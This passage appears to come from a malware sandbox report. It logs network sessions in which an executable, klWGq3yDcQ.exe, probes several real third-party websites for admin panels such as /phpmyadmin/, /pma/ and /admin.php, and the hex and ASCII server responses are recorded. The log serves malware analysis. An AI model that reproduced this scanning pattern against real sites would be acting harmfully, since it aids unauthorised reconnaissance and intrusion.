6c 75 65 3d 27 68 74 74 Data Ascii: 021 </option><option value='https://himontessori.com/2021/04/'> April 2021 </option><option value='https://himontessori.com/2021/03/'> March 2021 </option><option value='https://himontessori.com/2021/02/'> February 2021 </option><option value='htt
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	4275	IN	Data Raw: 31 30 61 36 0d 0a 0a 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 64 72 6f 70 64 6f 77 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 22 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 2d 2d 31 22 20 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 6f 6e 53 65 6c 65 63 74 43 68 61 6e 67 65 28 29 20 7b 0a 09 09 69 66 20 28 20 64 72 6f 70 64 6f 77 6e 2e 6f 70 74 69 6f 6e 73 5b 20 64 72 6f 70 64 6f 77 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 20 5d 2e 76 61 6c 75 65 20 21 3d 3d 20 27 27 20 29 20 7b 0a 09 09 09 64 6f 63 75 6d 65 6e Data Ascii: 10a6</select><script type='text/javascript'>/* <![CDATA[ */(function() {var dropdown = document.getElementById( "archives-dropdown--1" );function onSelectChange() {if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	62910	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:41 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:41 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	62749	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	206	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/phpmyadmin/
2023-11-26 05:59:41 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	62902	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	179	OUT	GET /admin.php HTTP/1.1 Host: www.linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	1085	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 32 2e 31 33 32 31 30 33 35 36 33 36 31 34 35 37 31 36 32 39 36 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978382.1321035636145716296Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Optio
2023-11-26 05:59:42 UTC	167	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-11-26 05:59:42 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-11-26 05:59:42 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-11-26 05:59:42 UTC	206	IN	Data Raw: 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	62840	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	175	OUT	GET /en/admin.php HTTP/1.1 Host: www.dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	1078	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 31 2e 30 37 35 31 30 33 33 31 39 38 39 30 31 35 39 33 34 37 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978381.075103319890159347Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:41 UTC	174	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-s
2023-11-26 05:59:41 UTC	1252	IN	Data Raw: 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 Data Ascii: calable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="r
2023-11-26 05:59:41 UTC	1252	IN	Data Raw: 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 Data Ascii: arty/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/er
2023-11-26 05:59:41 UTC	187	IN	Data Raw: 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: gardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	62843	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	172	OUT	GET /pma/ HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	667	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 33 37 61 35 66 35 35 38 32 31 64 64 34 64 38 62 33 65 36 33 62 39 34 32 35 62 62 35 66 33 65 66 62 62 30 32 63 66 30 39 61 31 61 39 63 61 38 38 37 62 33 65 37 37 62 30 35 33 37 63 61 38 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: pbid=37a5f55821dd4d8b3e63b9425bb5f3efbb02cf09a1a9ca887b3e77b0537ca8
2023-11-26 05:59:41 UTC	701	IN	Data Raw: 38 64 36 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 Data Ascii: 8d6d<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='noindex, nofollow'
2023-11-26 05:59:41 UTC	14994	IN	Data Raw: 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 22 2c 22 6e 61 6d 65 22 3a 22 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 69 72 65 63 74 20 4c 65 6e 64 65 72 73 2c 20 4c 4c 43 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 Data Ascii: ph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://mydirectlender.com/#website","url":"https://mydirectlender.com/","name":"Staging for MyDirectLender.com","description":"Direct Lenders, LLC","publisher":{"@id":"https://mydir
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 69 64 6e 69 67 68 74 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e Data Ascii: r(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{fon
2023-11-26 05:59:41 UTC	4134	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 74 79 78 2d 73 69 64 65 62 61 72 20 63 6f 6c 2d 6d 64 2d 33 20 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 65 61 72 63 68 2d 31 22 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 20 77 69 64 67 65 74 5f 73 65 61 72 63 68 22 3e 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 22 3e 0a 09 09 09 09 3c 64 69 76 3e 0a 09 Data Ascii: </div> <div class="styx-sidebar col-md-3 col-12"> <div id="search-1" class="widget widget_search"><form role="search" method="get" id="searchform" class="searchform" action="https://mydirectlender.com/"><div>
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
